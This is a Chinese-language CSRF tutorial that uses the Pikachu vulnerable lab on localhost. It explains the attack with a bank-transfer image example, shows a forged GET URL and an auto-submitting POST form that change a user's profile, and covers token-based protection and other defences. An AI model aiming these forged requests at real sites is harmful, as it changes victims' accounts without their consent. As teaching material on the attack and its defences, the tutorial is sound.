CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
CSRF攻击攻击原理及过程如下:
1. 用户打开浏览器,访问受信任银行网站,输入用户名和密码请求登录网站; 2.在用户信息通过验证后,银行网站产生Cookie信息并返回给浏览器,此时用户登录网站成功,可以正常发送请求到网站; 3. 用户未退出银行网站之前,在同一浏览器中,打开一个TAB页访问其他网站B 4. 这时候网站B 已被黑客注入诱导信息,加入是一张图片,图片地址指向 src=”http:0//bank.example/withdraw?account=bob&amount=1000000&for=黑客 点击之后转账给黑客这个账户 5. 浏览器在接收到这些攻击性代码请求后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,根据用户的Cookie信息以C的权限处理该请求,导致来自黑客请求恶意代码被执行。
pikachu演示漏洞
CSRF (get)
伪造url
http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=123&add=bbbb&email=lucy%40pikachu.com&submit=submit
可以看到 数据以及发生变化 并更改了数据库。
CSRF (post)
<html> <head> <script> window.onload = function() { document.getElementById("postsubmit").click(); } </script> </head> <body> <form method="post" action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php"> <input id="sex" type="text" name="sex" value="girl" /> <input id="phonenum" type="text" name="phonenum" value="bbbb" /> <input id="add" type="text" name="add" value="hacker" /> <input id="email" type="text" name="email" value="123@com" /> <input id="postsubmit" type="submit" name="submit" value="submit" /> </form> </body> </html>
访问url 页面数据更改
http://127.0.0.1/pikachu/vul/csrf/post.html
原理:CSRF的主要问题是敏感操作的链接容易被伪造。而只要在每次请求时都增加一个随机码Token,后台每次都对这个随机码进行验证,则可以有效地防止CSRF
CSRF (token)
截取数据包 多了token
GET /pikachu/vul/csrf/csrftoken/token_get_edit.php?sex=girl&phonenum=bbbb&add=hacker&email=123%40com&token=377085fb9e53dd6ce6598950647&submit=submit HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,en;q=0.8,zh;q=0.5,en-US;q=0.3 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/pikachu/vul/csrf/csrftoken/token_get_edit.php Cookie: PHPSESSID=j4uc6evkf01eo69uihtov6brb0 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1
<div id="per_info"> <form method="get"> <h1 class="per_title">hello,{$name},欢迎来到个人会员中心 | <a style="color:bule;" href="token_get.php?logout=1">退出登录</a></h1> <p class="per_name">姓名:{$name}</p> <p class="per_sex">性别:<input type="text" name="sex" value="{$sex}"/></p> <p class="per_phone">手机:<input class="phonenum" type="text" name="phonenum" value="{$phonenum}"/></p> <p class="per_add">住址:<input class="add" type="text" name="add" value="{$add}"/></p> <p class="per_email">邮箱:<input class="email" type="text" name="email" value="{$email}"/></p> <input type="hidden" name="token" value="{$_SESSION['token']}" /> <input class="sub" type="submit" name="submit" value="submit"/> </form> </div>
在源码token_get_edit.php中看到,每次刷新页面,都会调用set_token()函数,该函数会把SESSION中Token销毁,然后生成一个新的Token,并将这个Token传到前端表单中
如何防御CSRF攻击
增加验证码:一般用于防止暴力破解,也可以用在其它重要信息操作的表单中 安全的会话管理: 不要在客户端保存敏感信息,如身份认证信息 设置会话过期机制,如15分钟内无操作则自动登录超时 访问控制安全管理: 敏感信息修改时需要对身份进行二次认证,如修改密码时,需要校验旧密码 敏感信息的修改使用POST,而不是GET 通过HTTP头部中的Referer来限制原页面